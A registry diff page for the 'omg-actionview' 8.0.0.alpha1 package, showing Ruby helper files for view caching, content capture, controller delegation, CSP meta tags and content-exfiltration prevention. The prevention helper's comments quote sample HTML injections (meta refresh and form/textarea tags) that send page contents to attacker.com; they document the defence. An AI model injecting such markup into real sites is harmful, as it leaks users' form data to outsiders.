omg-actionview 8.0.0.alpha1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (130) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +25 -0
  3. data/MIT-LICENSE +21 -0
  4. data/README.rdoc +40 -0
  5. data/app/assets/javascripts/rails-ujs.esm.js +686 -0
  6. data/app/assets/javascripts/rails-ujs.js +630 -0
  7. data/lib/action_view/base.rb +316 -0
  8. data/lib/action_view/buffers.rb +165 -0
  9. data/lib/action_view/cache_expiry.rb +69 -0
  10. data/lib/action_view/context.rb +32 -0
  11. data/lib/action_view/dependency_tracker/erb_tracker.rb +159 -0
  12. data/lib/action_view/dependency_tracker/ruby_tracker.rb +43 -0
  13. data/lib/action_view/dependency_tracker/wildcard_resolver.rb +32 -0
  14. data/lib/action_view/dependency_tracker.rb +41 -0
  15. data/lib/action_view/deprecator.rb +7 -0
  16. data/lib/action_view/digestor.rb +130 -0
  17. data/lib/action_view/flows.rb +75 -0
  18. data/lib/action_view/gem_version.rb +17 -0
  19. data/lib/action_view/helpers/active_model_helper.rb +54 -0
  20. data/lib/action_view/helpers/asset_tag_helper.rb +680 -0
  21. data/lib/action_view/helpers/asset_url_helper.rb +473 -0
  22. data/lib/action_view/helpers/atom_feed_helper.rb +205 -0
  23. data/lib/action_view/helpers/cache_helper.rb +315 -0
  24. data/lib/action_view/helpers/capture_helper.rb +236 -0
  25. data/lib/action_view/helpers/content_exfiltration_prevention_helper.rb +70 -0
  26. data/lib/action_view/helpers/controller_helper.rb +42 -0
  27. data/lib/action_view/helpers/csp_helper.rb +26 -0
  28. data/lib/action_view/helpers/csrf_helper.rb +35 -0
  29. data/lib/action_view/helpers/date_helper.rb +1266 -0
  30. data/lib/action_view/helpers/debug_helper.rb +38 -0
  31. data/lib/action_view/helpers/form_helper.rb +2765 -0
  32. data/lib/action_view/helpers/form_options_helper.rb +927 -0
  33. data/lib/action_view/helpers/form_tag_helper.rb +1088 -0
  34. data/lib/action_view/helpers/javascript_helper.rb +96 -0
  35. data/lib/action_view/helpers/number_helper.rb +165 -0
  36. data/lib/action_view/helpers/output_safety_helper.rb +70 -0
  37. data/lib/action_view/helpers/rendering_helper.rb +218 -0
  38. data/lib/action_view/helpers/sanitize_helper.rb +201 -0
  39. data/lib/action_view/helpers/tag_helper.rb +621 -0
  40. data/lib/action_view/helpers/tags/base.rb +138 -0
  41. data/lib/action_view/helpers/tags/check_box.rb +65 -0
  42. data/lib/action_view/helpers/tags/checkable.rb +18 -0
  43. data/lib/action_view/helpers/tags/collection_check_boxes.rb +37 -0
  44. data/lib/action_view/helpers/tags/collection_helpers.rb +118 -0
  45. data/lib/action_view/helpers/tags/collection_radio_buttons.rb +31 -0
  46. data/lib/action_view/helpers/tags/collection_select.rb +33 -0
  47. data/lib/action_view/helpers/tags/color_field.rb +26 -0
  48. data/lib/action_view/helpers/tags/date_field.rb +14 -0
  49. data/lib/action_view/helpers/tags/date_select.rb +75 -0
  50. data/lib/action_view/helpers/tags/datetime_field.rb +39 -0
  51. data/lib/action_view/helpers/tags/datetime_local_field.rb +29 -0
  52. data/lib/action_view/helpers/tags/datetime_select.rb +10 -0
  53. data/lib/action_view/helpers/tags/email_field.rb +10 -0
  54. data/lib/action_view/helpers/tags/file_field.rb +26 -0
  55. data/lib/action_view/helpers/tags/grouped_collection_select.rb +34 -0
  56. data/lib/action_view/helpers/tags/hidden_field.rb +14 -0
  57. data/lib/action_view/helpers/tags/label.rb +84 -0
  58. data/lib/action_view/helpers/tags/month_field.rb +14 -0
  59. data/lib/action_view/helpers/tags/number_field.rb +20 -0
  60. data/lib/action_view/helpers/tags/password_field.rb +14 -0
  61. data/lib/action_view/helpers/tags/placeholderable.rb +24 -0
  62. data/lib/action_view/helpers/tags/radio_button.rb +32 -0
  63. data/lib/action_view/helpers/tags/range_field.rb +10 -0
  64. data/lib/action_view/helpers/tags/search_field.rb +27 -0
  65. data/lib/action_view/helpers/tags/select.rb +45 -0
  66. data/lib/action_view/helpers/tags/select_renderer.rb +56 -0
  67. data/lib/action_view/helpers/tags/tel_field.rb +10 -0
  68. data/lib/action_view/helpers/tags/text_area.rb +24 -0
  69. data/lib/action_view/helpers/tags/text_field.rb +33 -0
  70. data/lib/action_view/helpers/tags/time_field.rb +23 -0
  71. data/lib/action_view/helpers/tags/time_select.rb +10 -0
  72. data/lib/action_view/helpers/tags/time_zone_select.rb +25 -0
  73. data/lib/action_view/helpers/tags/translator.rb +39 -0
  74. data/lib/action_view/helpers/tags/url_field.rb +10 -0
  75. data/lib/action_view/helpers/tags/week_field.rb +14 -0
  76. data/lib/action_view/helpers/tags/weekday_select.rb +31 -0
  77. data/lib/action_view/helpers/tags.rb +47 -0
  78. data/lib/action_view/helpers/text_helper.rb +568 -0
  79. data/lib/action_view/helpers/translation_helper.rb +161 -0
  80. data/lib/action_view/helpers/url_helper.rb +812 -0
  81. data/lib/action_view/helpers.rb +68 -0
  82. data/lib/action_view/layouts.rb +434 -0
  83. data/lib/action_view/locale/en.yml +56 -0
  84. data/lib/action_view/log_subscriber.rb +132 -0
  85. data/lib/action_view/lookup_context.rb +299 -0
  86. data/lib/action_view/model_naming.rb +14 -0
  87. data/lib/action_view/path_registry.rb +57 -0
  88. data/lib/action_view/path_set.rb +84 -0
  89. data/lib/action_view/railtie.rb +132 -0
  90. data/lib/action_view/record_identifier.rb +118 -0
  91. data/lib/action_view/render_parser/prism_render_parser.rb +139 -0
  92. data/lib/action_view/render_parser/ripper_render_parser.rb +350 -0
  93. data/lib/action_view/render_parser.rb +40 -0
  94. data/lib/action_view/renderer/abstract_renderer.rb +186 -0
  95. data/lib/action_view/renderer/collection_renderer.rb +204 -0
  96. data/lib/action_view/renderer/object_renderer.rb +34 -0
  97. data/lib/action_view/renderer/partial_renderer/collection_caching.rb +120 -0
  98. data/lib/action_view/renderer/partial_renderer.rb +267 -0
  99. data/lib/action_view/renderer/renderer.rb +107 -0
  100. data/lib/action_view/renderer/streaming_template_renderer.rb +107 -0
  101. data/lib/action_view/renderer/template_renderer.rb +115 -0
  102. data/lib/action_view/rendering.rb +190 -0
  103. data/lib/action_view/routing_url_for.rb +149 -0
  104. data/lib/action_view/tasks/cache_digests.rake +25 -0
  105. data/lib/action_view/template/error.rb +264 -0
  106. data/lib/action_view/template/handlers/builder.rb +25 -0
  107. data/lib/action_view/template/handlers/erb/erubi.rb +85 -0
  108. data/lib/action_view/template/handlers/erb.rb +157 -0
  109. data/lib/action_view/template/handlers/html.rb +11 -0
  110. data/lib/action_view/template/handlers/raw.rb +11 -0
  111. data/lib/action_view/template/handlers.rb +66 -0
  112. data/lib/action_view/template/html.rb +33 -0
  113. data/lib/action_view/template/inline.rb +22 -0
  114. data/lib/action_view/template/raw_file.rb +25 -0
  115. data/lib/action_view/template/renderable.rb +30 -0
  116. data/lib/action_view/template/resolver.rb +212 -0
  117. data/lib/action_view/template/sources/file.rb +17 -0
  118. data/lib/action_view/template/sources.rb +13 -0
  119. data/lib/action_view/template/text.rb +32 -0
  120. data/lib/action_view/template/types.rb +50 -0
  121. data/lib/action_view/template.rb +580 -0
  122. data/lib/action_view/template_details.rb +66 -0
  123. data/lib/action_view/template_path.rb +66 -0
  124. data/lib/action_view/test_case.rb +449 -0
  125. data/lib/action_view/testing/resolvers.rb +44 -0
  126. data/lib/action_view/unbound_template.rb +67 -0
  127. data/lib/action_view/version.rb +10 -0
  128. data/lib/action_view/view_paths.rb +117 -0
  129. data/lib/action_view.rb +104 -0
  130. metadata +275 -0
@@ -0,0 +1,315 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ActionView
4
+ module Helpers # :nodoc:
5
+ # = Action View Cache \Helpers
6
+ module CacheHelper
7
+ class UncacheableFragmentError < StandardError; end
8
+
9
+ # This helper exposes a method for caching fragments of a view
10
+ # rather than an entire action or page. This technique is useful
11
+ # caching pieces like menus, lists of new topics, static HTML
12
+ # fragments, and so on. This method takes a block that contains
13
+ # the content you wish to cache.
14
+ #
15
+ # The best way to use this is by doing recyclable key-based cache expiration
16
+ # on top of a cache store like Memcached or Redis that'll automatically
17
+ # kick out old entries.
18
+ #
19
+ # When using this method, you list the cache dependency as the name of the cache, like so:
20
+ #
21
+ # <% cache project do %>
22
+ # <b>All the topics on this project</b>
23
+ # <%= render project.topics %>
24
+ # <% end %>
25
+ #
26
+ # This approach will assume that when a new topic is added, you'll touch
27
+ # the project. The cache key generated from this call will be something like:
28
+ #
29
+ # views/template/action:7a1156131a6928cb0026877f8b749ac9/projects/123
30
+ # ^template path ^template tree digest ^class ^id
31
+ #
32
+ # This cache key is stable, but it's combined with a cache version derived from the project
33
+ # record. When the project updated_at is touched, the #cache_version changes, even
34
+ # if the key stays stable. This means that unlike a traditional key-based cache expiration
35
+ # approach, you won't be generating cache trash, unused keys, simply because the dependent
36
+ # record is updated.
37
+ #
38
+ # If your template cache depends on multiple sources (try to avoid this to keep things simple),
39
+ # you can name all these dependencies as part of an array:
40
+ #
41
+ # <% cache [ project, current_user ] do %>
42
+ # <b>All the topics on this project</b>
43
+ # <%= render project.topics %>
44
+ # <% end %>
45
+ #
46
+ # This will include both records as part of the cache key and updating either of them will
47
+ # expire the cache.
48
+ #
49
+ # ==== \Template digest
50
+ #
51
+ # The template digest that's added to the cache key is computed by taking an MD5 of the
52
+ # contents of the entire template file. This ensures that your caches will automatically
53
+ # expire when you change the template file.
54
+ #
55
+ # Note that the MD5 is taken of the entire template file, not just what's within the
56
+ # cache do/end call. So it's possible that changing something outside of that call will
57
+ # still expire the cache.
58
+ #
59
+ # Additionally, the digestor will automatically look through your template file for
60
+ # explicit and implicit dependencies, and include those as part of the digest.
61
+ #
62
+ # The digestor can be bypassed by passing skip_digest: true as an option to the cache call:
63
+ #
64
+ # <% cache project, skip_digest: true do %>
65
+ # <b>All the topics on this project</b>
66
+ # <%= render project.topics %>
67
+ # <% end %>
68
+ #
69
+ # ==== Implicit dependencies
70
+ #
71
+ # Most template dependencies can be derived from calls to render in the template itself.
72
+ # Here are some examples of render calls that Cache Digests knows how to decode:
73
+ #
74
+ # render partial: "comments/comment", collection: commentable.comments
75
+ # render "comments/comments"
76
+ # render 'comments/comments'
77
+ # render('comments/comments')
78
+ #
79
+ # render "header" # translates to render("comments/header")
80
+ #
81
+ # render(@topic) # translates to render("topics/topic")
82
+ # render(topics) # translates to render("topics/topic")
83
+ # render(message.topics) # translates to render("topics/topic")
84
+ #
85
+ # It's not possible to derive all render calls like that, though.
86
+ # Here are a few examples of things that can't be derived:
87
+ #
88
+ # render group_of_attachments
89
+ # render @project.documents.where(published: true).order('created_at')
90
+ #
91
+ # You will have to rewrite those to the explicit form:
92
+ #
93
+ # render partial: 'attachments/attachment', collection: group_of_attachments
94
+ # render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
95
+ #
96
+ # One last type of dependency can be determined implicitly:
97
+ #
98
+ # render "maintenance_tasks/runs/info/#{run.status}"
99
+ #
100
+ # Because the value passed to render ends in interpolation, Action View
101
+ # will mark all partials within the "maintenace_tasks/runs/info" folder as
102
+ # dependencies.
103
+ #
104
+ # === Explicit dependencies
105
+ #
106
+ # Sometimes you'll have template dependencies that can't be derived at all. This is typically
107
+ # the case when you have template rendering that happens in helpers. Here's an example:
108
+ #
109
+ # <%= render_sortable_todolists @project.todolists %>
110
+ #
111
+ # You'll need to use a special comment format to call those out:
112
+ #
113
+ # <%# Template Dependency: todolists/todolist %>
114
+ # <%= render_sortable_todolists @project.todolists %>
115
+ #
116
+ # In some cases, like a single table inheritance setup, you might have
117
+ # a bunch of explicit dependencies. Instead of writing every template out,
118
+ # you can use a wildcard to match any template in a directory:
119
+ #
120
+ # <%# Template Dependency: events/* %>
121
+ # <%= render_categorizable_events @person.events %>
122
+ #
123
+ # This marks every template in the directory as a dependency. To find those
124
+ # templates, the wildcard path must be absolutely defined from <tt>app/views</tt> or paths
125
+ # otherwise added with +prepend_view_path+ or +append_view_path+.
126
+ # This way the wildcard for <tt>app/views/recordings/events</tt> would be <tt>recordings/events/*</tt> etc.
127
+ #
128
+ # The pattern used to match explicit dependencies is <tt>/# Template Dependency: (\S+)/</tt>,
129
+ # so it's important that you type it out just so.
130
+ # You can only declare one template dependency per line.
131
+ #
132
+ # === External dependencies
133
+ #
134
+ # If you use a helper method, for example, inside a cached block and
135
+ # you then update that helper, you'll have to bump the cache as well.
136
+ # It doesn't really matter how you do it, but the MD5 of the template file
137
+ # must change. One recommendation is to simply be explicit in a comment, like:
138
+ #
139
+ # <%# Helper Dependency Updated: May 6, 2012 at 6pm %>
140
+ # <%= some_helper_method(person) %>
141
+ #
142
+ # Now all you have to do is change that timestamp when the helper method changes.
143
+ #
144
+ # === Collection Caching
145
+ #
146
+ # When rendering a collection of objects that each use the same partial, a <tt>:cached</tt>
147
+ # option can be passed.
148
+ #
149
+ # For collections rendered such:
150
+ #
151
+ # <%= render partial: 'projects/project', collection: @projects, cached: true %>
152
+ #
153
+ # The <tt>cached: true</tt> will make Action View's rendering read several templates
154
+ # from cache at once instead of one call per template.
155
+ #
156
+ # Templates in the collection not already cached are written to cache.
157
+ #
158
+ # Works great alongside individual template fragment caching.
159
+ # For instance if the template the collection renders is cached like:
160
+ #
161
+ # # projects/_project.html.erb
162
+ # <% cache project do %>
163
+ # <%# ... %>
164
+ # <% end %>
165
+ #
166
+ # Any collection renders will find those cached templates when attempting
167
+ # to read multiple templates at once.
168
+ #
169
+ # If your collection cache depends on multiple sources (try to avoid this to keep things simple),
170
+ # you can name all these dependencies as part of a block that returns an array:
171
+ #
172
+ # <%= render partial: 'projects/project', collection: @projects, cached: -> project { [ project, current_user ] } %>
173
+ #
174
+ # This will include both records as part of the cache key and updating either of them will
175
+ # expire the cache.
176
+ def cache(name = {}, options = {}, &block)
177
+ if controller.respond_to?(:perform_caching) && controller.perform_caching
178
+ CachingRegistry.track_caching do
179
+ name_options = options.slice(:skip_digest)
180
+ safe_concat(fragment_for(cache_fragment_name(name, **name_options), options, &block))
181
+ end
182
+ else
183
+ yield
184
+ end
185
+
186
+ nil
187
+ end
188
+
189
+ # Returns whether the current view fragment is within a +cache+ block.
190
+ #
191
+ # Useful when certain fragments aren't cacheable:
192
+ #
193
+ # <% cache project do %>
194
+ # <% raise StandardError, "Caching private data!" if caching? %>
195
+ # <% end %>
196
+ def caching?
197
+ CachingRegistry.caching?
198
+ end
199
+
200
+ # Raises +UncacheableFragmentError+ when called from within a +cache+ block.
201
+ #
202
+ # Useful to denote helper methods that can't participate in fragment caching:
203
+ #
204
+ # def project_name_with_time(project)
205
+ # uncacheable!
206
+ # "#{project.name} - #{Time.now}"
207
+ # end
208
+ #
209
+ # # Which will then raise if used within a +cache+ block:
210
+ # <% cache project do %>
211
+ # <%= project_name_with_time(project) %>
212
+ # <% end %>
213
+ def uncacheable!
214
+ raise UncacheableFragmentError, "can't be fragment cached" if caching?
215
+ end
216
+
217
+ # Cache fragments of a view if +condition+ is true
218
+ #
219
+ # <% cache_if admin?, project do %>
220
+ # <b>All the topics on this project</b>
221
+ # <%= render project.topics %>
222
+ # <% end %>
223
+ def cache_if(condition, name = {}, options = {}, &block)
224
+ if condition
225
+ cache(name, options, &block)
226
+ else
227
+ yield
228
+ end
229
+
230
+ nil
231
+ end
232
+
233
+ # Cache fragments of a view unless +condition+ is true
234
+ #
235
+ # <% cache_unless admin?, project do %>
236
+ # <b>All the topics on this project</b>
237
+ # <%= render project.topics %>
238
+ # <% end %>
239
+ def cache_unless(condition, name = {}, options = {}, &block)
240
+ cache_if !condition, name, options, &block
241
+ end
242
+
243
+ # This helper returns the name of a cache key for a given fragment cache
244
+ # call. By supplying <tt>skip_digest: true</tt> to cache, the digestion of cache
245
+ # fragments can be manually bypassed. This is useful when cache fragments
246
+ # cannot be manually expired unless you know the exact key which is the
247
+ # case when using memcached.
248
+ def cache_fragment_name(name = {}, skip_digest: nil, digest_path: nil)
249
+ if skip_digest
250
+ name
251
+ else
252
+ fragment_name_with_digest(name, digest_path)
253
+ end
254
+ end
255
+
256
+ def digest_path_from_template(template) # :nodoc:
257
+ digest = Digestor.digest(name: template.virtual_path, format: template.format, finder: lookup_context, dependencies: view_cache_dependencies)
258
+
259
+ if digest.present?
260
+ "#{template.virtual_path}:#{digest}"
261
+ else
262
+ template.virtual_path
263
+ end
264
+ end
265
+
266
+ private
267
+ def fragment_name_with_digest(name, digest_path)
268
+ name = controller.url_for(name).split("://").last if name.is_a?(Hash)
269
+
270
+ if @current_template&.virtual_path || digest_path
271
+ digest_path ||= digest_path_from_template(@current_template)
272
+ [ digest_path, name ]
273
+ else
274
+ name
275
+ end
276
+ end
277
+
278
+ def fragment_for(name = {}, options = nil, &block)
279
+ if content = read_fragment_for(name, options)
280
+ @view_renderer.cache_hits[@current_template&.virtual_path] = :hit if defined?(@view_renderer)
281
+ content
282
+ else
283
+ @view_renderer.cache_hits[@current_template&.virtual_path] = :miss if defined?(@view_renderer)
284
+ write_fragment_for(name, options, &block)
285
+ end
286
+ end
287
+
288
+ def read_fragment_for(name, options)
289
+ controller.read_fragment(name, options)
290
+ end
291
+
292
+ def write_fragment_for(name, options, &block)
293
+ fragment = output_buffer.capture(&block)
294
+ controller.write_fragment(name, fragment, options)
295
+ end
296
+
297
+ module CachingRegistry # :nodoc:
298
+ extend self
299
+
300
+ def caching?
301
+ ActiveSupport::IsolatedExecutionState[:action_view_caching] ||= false
302
+ end
303
+
304
+ def track_caching
305
+ caching_was = ActiveSupport::IsolatedExecutionState[:action_view_caching]
306
+ ActiveSupport::IsolatedExecutionState[:action_view_caching] = true
307
+
308
+ yield
309
+ ensure
310
+ ActiveSupport::IsolatedExecutionState[:action_view_caching] = caching_was
311
+ end
312
+ end
313
+ end
314
+ end
315
+ end
@@ -0,0 +1,236 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "active_support/core_ext/string/output_safety"
4
+
5
+ module ActionView
6
+ module Helpers # :nodoc:
7
+ # = Action View Capture \Helpers
8
+ #
9
+ # \CaptureHelper exposes methods to let you extract generated markup which
10
+ # can be used in other parts of a template or layout file.
11
+ #
12
+ # It provides a method to capture blocks into variables through #capture and
13
+ # a way to capture a block of markup for use in a layout through #content_for.
14
+ #
15
+ # As well as provides a method when using streaming responses through #provide.
16
+ # See ActionController::Streaming for more information.
17
+ module CaptureHelper
18
+ # The capture method extracts part of a template as a string object.
19
+ # You can then use this object anywhere in your templates, layout, or helpers.
20
+ #
21
+ # The capture method can be used in \ERB templates...
22
+ #
23
+ # <% @greeting = capture do %>
24
+ # Welcome to my shiny new web page! The date and time is
25
+ # <%= Time.now %>
26
+ # <% end %>
27
+ #
28
+ # ...and Builder (RXML) templates.
29
+ #
30
+ # @timestamp = capture do
31
+ # "The current timestamp is #{Time.now}."
32
+ # end
33
+ #
34
+ # You can then use that variable anywhere else. For example:
35
+ #
36
+ # <html>
37
+ # <head><title><%= @greeting %></title></head>
38
+ # <body>
39
+ # <b><%= @greeting %></b>
40
+ # </body>
41
+ # </html>
42
+ #
43
+ # The return of capture is the string generated by the block. For Example:
44
+ #
45
+ # @greeting # => "Welcome to my shiny new web page! The date and time is 2018-09-06 11:09:16 -0500"
46
+ #
47
+ def capture(*args, &block)
48
+ value = nil
49
+ @output_buffer ||= ActionView::OutputBuffer.new
50
+ buffer = @output_buffer.capture { value = yield(*args) }
51
+
52
+ string = if @output_buffer.equal?(value)
53
+ buffer
54
+ else
55
+ buffer.presence || value
56
+ end
57
+
58
+ case string
59
+ when OutputBuffer
60
+ string.to_s
61
+ when ActiveSupport::SafeBuffer
62
+ string
63
+ when String
64
+ ERB::Util.html_escape(string)
65
+ end
66
+ end
67
+
68
+ # Calling <tt>content_for</tt> stores a block of markup in an identifier for later use.
69
+ # In order to access this stored content in other templates, helper modules
70
+ # or the layout, you would pass the identifier as an argument to <tt>content_for</tt>.
71
+ #
72
+ # Note: <tt>yield</tt> can still be used to retrieve the stored content, but calling
73
+ # <tt>yield</tt> doesn't work in helper modules, while <tt>content_for</tt> does.
74
+ #
75
+ # <% content_for :not_authorized do %>
76
+ # alert('You are not authorized to do that!')
77
+ # <% end %>
78
+ #
79
+ # You can then use <tt>content_for :not_authorized</tt> anywhere in your templates.
80
+ #
81
+ # <%= content_for :not_authorized if current_user.nil? %>
82
+ #
83
+ # This is equivalent to:
84
+ #
85
+ # <%= yield :not_authorized if current_user.nil? %>
86
+ #
87
+ # <tt>content_for</tt>, however, can also be used in helper modules.
88
+ #
89
+ # module StorageHelper
90
+ # def stored_content
91
+ # content_for(:storage) || "Your storage is empty"
92
+ # end
93
+ # end
94
+ #
95
+ # This helper works just like normal helpers.
96
+ #
97
+ # <%= stored_content %>
98
+ #
99
+ # You can also use the <tt>yield</tt> syntax alongside an existing call to
100
+ # <tt>yield</tt> in a layout. For example:
101
+ #
102
+ # <%# This is the layout %>
103
+ # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
104
+ # <head>
105
+ # <title>My Website</title>
106
+ # <%= yield :script %>
107
+ # </head>
108
+ # <body>
109
+ # <%= yield %>
110
+ # </body>
111
+ # </html>
112
+ #
113
+ # And now, we'll create a view that has a <tt>content_for</tt> call that
114
+ # creates the <tt>script</tt> identifier.
115
+ #
116
+ # <%# This is our view %>
117
+ # Please login!
118
+ #
119
+ # <% content_for :script do %>
120
+ # <script>alert('You are not authorized to view this page!')</script>
121
+ # <% end %>
122
+ #
123
+ # Then, in another view, you could to do something like this:
124
+ #
125
+ # <%= link_to 'Logout', action: 'logout', remote: true %>
126
+ #
127
+ # <% content_for :script do %>
128
+ # <%= javascript_include_tag :defaults %>
129
+ # <% end %>
130
+ #
131
+ # That will place +script+ tags for your default set of JavaScript files on the page;
132
+ # this technique is useful if you'll only be using these scripts in a few views.
133
+ #
134
+ # Note that <tt>content_for</tt> concatenates (default) the blocks it is given for a particular
135
+ # identifier in order. For example:
136
+ #
137
+ # <% content_for :navigation do %>
138
+ # <li><%= link_to 'Home', action: 'index' %></li>
139
+ # <% end %>
140
+ #
141
+ # And in another place:
142
+ #
143
+ # <% content_for :navigation do %>
144
+ # <li><%= link_to 'Login', action: 'login' %></li>
145
+ # <% end %>
146
+ #
147
+ # Then, in another template or layout, this code would render both links in order:
148
+ #
149
+ # <ul><%= content_for :navigation %></ul>
150
+ #
151
+ # If the flush parameter is +true+ <tt>content_for</tt> replaces the blocks it is given. For example:
152
+ #
153
+ # <% content_for :navigation do %>
154
+ # <li><%= link_to 'Home', action: 'index' %></li>
155
+ # <% end %>
156
+ #
157
+ # <%# Add some other content, or use a different template: %>
158
+ #
159
+ # <% content_for :navigation, flush: true do %>
160
+ # <li><%= link_to 'Login', action: 'login' %></li>
161
+ # <% end %>
162
+ #
163
+ # Then, in another template or layout, this code would render only the last link:
164
+ #
165
+ # <ul><%= content_for :navigation %></ul>
166
+ #
167
+ # Lastly, simple content can be passed as a parameter:
168
+ #
169
+ # <% content_for :script, javascript_include_tag(:defaults) %>
170
+ #
171
+ # WARNING: <tt>content_for</tt> is ignored in caches. So you shouldn't use it for elements that will be fragment cached.
172
+ def content_for(name, content = nil, options = {}, &block)
173
+ if content || block_given?
174
+ if block_given?
175
+ options = content if content
176
+ content = capture(&block)
177
+ end
178
+ if content
179
+ options[:flush] ? @view_flow.set(name, content) : @view_flow.append(name, content)
180
+ end
181
+ nil
182
+ else
183
+ @view_flow.get(name).presence
184
+ end
185
+ end
186
+
187
+ # The same as +content_for+ but when used with streaming flushes
188
+ # straight back to the layout. In other words, if you want to
189
+ # concatenate several times to the same buffer when rendering a given
190
+ # template, you should use +content_for+, if not, use +provide+ to tell
191
+ # the layout to stop looking for more contents.
192
+ #
193
+ # See ActionController::Streaming for more information.
194
+ def provide(name, content = nil, &block)
195
+ content = capture(&block) if block_given?
196
+ result = @view_flow.append!(name, content) if content
197
+ result unless content
198
+ end
199
+
200
+ # <tt>content_for?</tt> checks whether any content has been captured yet using <tt>content_for</tt>.
201
+ #
202
+ # Useful to render parts of your layout differently based on what is in your views.
203
+ #
204
+ # <%# This is the layout %>
205
+ # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
206
+ # <head>
207
+ # <title>My Website</title>
208
+ # <%= yield :script %>
209
+ # </head>
210
+ # <body class="<%= content_for?(:right_col) ? 'two-column' : 'one-column' %>">
211
+ # <%= yield %>
212
+ # <%= yield :right_col %>
213
+ # </body>
214
+ # </html>
215
+ def content_for?(name)
216
+ @view_flow.get(name).present?
217
+ end
218
+
219
+ # Use an alternate output buffer for the duration of the block.
220
+ # Defaults to a new empty string.
221
+ def with_output_buffer(buf = nil) # :nodoc:
222
+ unless buf
223
+ buf = ActionView::OutputBuffer.new
224
+ if output_buffer && output_buffer.respond_to?(:encoding)
225
+ buf.force_encoding(output_buffer.encoding)
226
+ end
227
+ end
228
+ self.output_buffer, old_buffer = buf, output_buffer
229
+ yield
230
+ output_buffer
231
+ ensure
232
+ self.output_buffer = old_buffer
233
+ end
234
+ end
235
+ end
236
+ end
@@ -0,0 +1,70 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ActionView
4
+ module Helpers
5
+ module ContentExfiltrationPreventionHelper
6
+ mattr_accessor :prepend_content_exfiltration_prevention, default: false
7
+
8
+ # Close any open attributes before each form tag. This prevents attackers from
9
+ # injecting partial tags that could leak markup offsite.
10
+ #
11
+ # For example, an attacker might inject:
12
+ #
13
+ # <meta http-equiv="refresh" content='0;URL=https://attacker.com?
14
+ #
15
+ # The HTML following this tag, up until the next single quote would be sent to
16
+ # +https://attacker.com+. By closing any open attributes, we ensure that form
17
+ # contents are never exfiltrated this way.
18
+ CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze
19
+
20
+ # Close any open tags that support CDATA (textarea, xmp) before each form tag.
21
+ # This prevents attackers from injecting unclosed tags that could capture
22
+ # form contents.
23
+ #
24
+ # For example, an attacker might inject:
25
+ #
26
+ # <form action="https://attacker.com"><textarea>
27
+ #
28
+ # The HTML following this tag, up until the next <tt></textarea></tt> or
29
+ # the end of the document would be captured by the attacker's
30
+ # <tt><textarea></tt>. By closing any open textarea tags, we ensure that
31
+ # form contents are never exfiltrated.
32
+ CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze
33
+
34
+ # Close any open option tags before each form tag. This prevents attackers
35
+ # from injecting unclosed options that could leak markup offsite.
36
+ #
37
+ # For example, an attacker might inject:
38
+ #
39
+ # <form action="https://attacker.com"><option>
40
+ #
41
+ # The HTML following this tag, up until the next <tt></option></tt> or the
42
+ # end of the document would be captured by the attacker's
43
+ # <tt><option></tt>. By closing any open option tags, we ensure that form
44
+ # contents are never exfiltrated.
45
+ CLOSE_OPTION_TAG = "</option>".html_safe.freeze
46
+
47
+ # Close any open form tags before each new form tag. This prevents attackers
48
+ # from injecting unclosed forms that could leak markup offsite.
49
+ #
50
+ # For example, an attacker might inject:
51
+ #
52
+ # <form action="https://attacker.com">
53
+ #
54
+ # The form elements following this tag, up until the next <tt></form></tt>
55
+ # would be captured by the attacker's <tt><form></tt>. By closing any open
56
+ # form tags, we ensure that form contents are never exfiltrated.
57
+ CLOSE_FORM_TAG = "</form>".html_safe.freeze
58
+
59
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze
60
+
61
+ def prevent_content_exfiltration(html)
62
+ if prepend_content_exfiltration_prevention
63
+ CONTENT_EXFILTRATION_PREVENTION_MARKUP + html
64
+ else
65
+ html
66
+ end
67
+ end
68
+ end
69
+ end
70
+ end
@@ -0,0 +1,42 @@
1
+ # frozen_string_literal: true
2
+
3
+ require "active_support/core_ext/module/attr_internal"
4
+
5
+ module ActionView
6
+ module Helpers # :nodoc:
7
+ # = Action View Controller \Helpers
8
+ #
9
+ # This module keeps all methods and behavior in ActionView
10
+ # that simply delegates to the controller.
11
+ module ControllerHelper # :nodoc:
12
+ attr_internal :controller, :request
13
+
14
+ CONTROLLER_DELEGATES = [:request_forgery_protection_token, :params,
15
+ :session, :cookies, :response, :headers, :flash, :action_name,
16
+ :controller_name, :controller_path]
17
+
18
+ delegate(*CONTROLLER_DELEGATES, to: :controller)
19
+
20
+ def assign_controller(controller)
21
+ if @_controller = controller
22
+ @_request = controller.request if controller.respond_to?(:request)
23
+ @_config = controller.config.inheritable_copy if controller.respond_to?(:config)
24
+ @_default_form_builder = controller.default_form_builder if controller.respond_to?(:default_form_builder)
25
+ else
26
+ @_request ||= nil
27
+ @_config ||= nil
28
+ @_default_form_builder ||= nil
29
+ end
30
+ end
31
+
32
+ def logger
33
+ controller.logger if controller.respond_to?(:logger)
34
+ end
35
+
36
+ def respond_to?(method_name, include_private = false)
37
+ return controller.respond_to?(method_name) if CONTROLLER_DELEGATES.include?(method_name.to_sym)
38
+ super
39
+ end
40
+ end
41
+ end
42
+ end
@@ -0,0 +1,26 @@
1
+ # frozen_string_literal: true
2
+
3
+ module ActionView
4
+ module Helpers # :nodoc:
5
+ # = Action View CSP \Helpers
6
+ module CspHelper
7
+ # Returns a meta tag "csp-nonce" with the per-session nonce value
8
+ # for allowing inline <script> tags.
9
+ #
10
+ # <head>
11
+ # <%= csp_meta_tag %>
12
+ # </head>
13
+ #
14
+ # This is used by the \Rails UJS helper to create dynamically
15
+ # loaded inline <script> elements.
16
+ #
17
+ def csp_meta_tag(**options)
18
+ if content_security_policy?
19
+ options[:name] = "csp-nonce"
20
+ options[:content] = content_security_policy_nonce
21
+ tag("meta", options)
22
+ end
23
+ end
24
+ end
25
+ end
26
+ end